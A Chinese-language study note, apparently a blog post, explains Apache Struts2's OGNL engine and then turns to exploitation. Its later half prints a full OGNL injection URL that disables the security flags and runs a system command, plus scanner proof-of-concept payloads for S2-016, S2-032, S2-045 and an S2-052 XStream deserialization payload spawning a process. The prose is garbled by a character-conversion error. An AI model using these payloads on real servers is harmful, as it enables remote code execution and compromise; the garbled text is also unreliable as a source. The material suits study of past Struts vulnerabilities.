1、struts2简介:html
目前web框架中很是流行的都是mvc设计模式、经典例子例如:python的Django、Flask;java的ssm等。由于使用MVC设计模式,因此在框架内部处理用户数据流参数的过后就不可避免的存在数据在不一样层次流转的问题。struts2做为java的一款成熟的web框架,天然也面临这个问题,因而struts2世纪了一套OGNL的模式来操做。java
2、OGNL(表达式引擎,处理view层数据都字符串到controller层转换成java对象的问题)的简单介绍:python
参考他人博客http://www.javashuo.com/article/p-hznhszde-mq.html(鸣谢)web
对于用户输入的参数存取处理api都在ognl.java中,分别由getvalue和setvalue两个函数实现express
1 public static Object getValue(String expression,Map context,Object root) throws OgnlException{ 2 return getValue((String)expression,(Map)context,root,(Class)null); 3 } 4 public static void setValue(String expression,Map context,Object root,Object value) throws OgnlException{ 5 return setValue((Object)parseExpression(expression),(Map)content,root,value); 6 }
三要素:apache
一、expression是带有语法语义的字符串,他定义了ognl要怎么处理一个对象。设计模式
二、root 被操做对象,就是ognl利用expression定义好的操做对root进行处理。访问root属性过后使用.调用:例如department.leader.name。getvalue和setvalue的对象(本质是一个java对象)。api
三、content上下文环境对象,root所处的上下文环境。在这里定义为OgnlContext对象,root是其中一个特殊变量。访问使用#开始.区分,例如#root.department.leader.name(本质是一个Map结构)。安全
特殊的,ognl对静态属性和方法的访问,使用@classname@functiononame/varitename,举例:@core.example.core.Recourse@img/@core.example.core.Recourse@get()服务器
3、OGNL支持构造对象(直接表达式建立):
一、构造list {} 中间用,分开元素的方式表达式列表
二、map 使用#{}构造,都好隔开key:value
三、java class的构造函数建立
4、在OGNL实现过程当中的安全保护机制:
上文提到过,content在OGNL.java中定义在了计算时才动态建立的OgnlContext对象里面,并传入Map类型的content对root和一些默认行为。在一连串的过程当中,struts默认配置一些安全保障机制,惋惜是能够被绕过的。
1 //SecurityMemberAccess类中两个参数限制 2 denyMethodExecution = true;//禁止执行静态方法 3 MemberAccess = false;//禁止静态方法访问
5、漏洞利用:
一、对#的过滤可使用\u0023 Unicode编码代替(早期的修补方案没有考虑到编码的问题,只是简单作了过滤)
#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
上面绕过了两个安全机制参数的限制(修改了安全机制参数的值)
\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)
后面接的就是代码执行构造的命令执行:
&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
1 /* 2 http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1 3 */
6、参看巡风的多个PoCs的Payload:
由于对于Java的复杂代码暂时没有分析能力,因此呢,有些poc里面的东西不能完整的理解其实现的每一步,先Mark下,后面再具体来看吧。
1 /* 2 "S2_016": {"poc": [ 3 "redirect:${%23out%3D%23\u0063\u006f\u006e\u0074\u0065\u0078\u0074.\u0067\u0065\u0074(new \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,120,119,111,114,107,50,46,100,105,115,112,97,116,99,104,101,114,46,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101})).\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072(),%23\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{46,46,81,116,101,115,116,81,46,46})),%23\u0072\u0065\u0064\u0069\u0072\u0065\u0063\u0074,%23\u006f\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065()}"], 4 "key": "QtestQ"}, 5 "S2_020": { 6 "poc": ["class[%27classLoader%27][%27jarPath%27]=1024", "class[%27classLoader%27][%27resources%27]=1024"], 7 "key": "No result defined for action"}, 8 "S2_DEBUG": {"poc": [ 9 "debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()"], 10 "key": "[ok]"}, 11 "S2_017_URL": {"poc": ["redirect:http://360.cn/", "redirectAction:http://360.cn/%23"], 12 "key": "http://www.360.cn/favicon.ico"}, 13 "S2_032": {"poc": [ 14 "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(66666666-2),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"], 15 "key": "66666664"}, 16 "S2_045": {"poc": [ 17 "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'xunfeng'+']')).(#o.close())}"], 18 "key": "[xunfeng]"} 19 20 """s2-052的,这是一个XML反序列化的与以前的不一样 21 当启用 Struts REST的XStream handler去反序列化处理XML请求,可能形成远程代码执行漏洞,进而直接致使服务器被入侵控制。 22 post_data = """<map> 23 <entry> 24 <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>nslookup</string><string>%s</string><string>%s</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 25 </entry> 26 </map>""" % 27 """ 28 */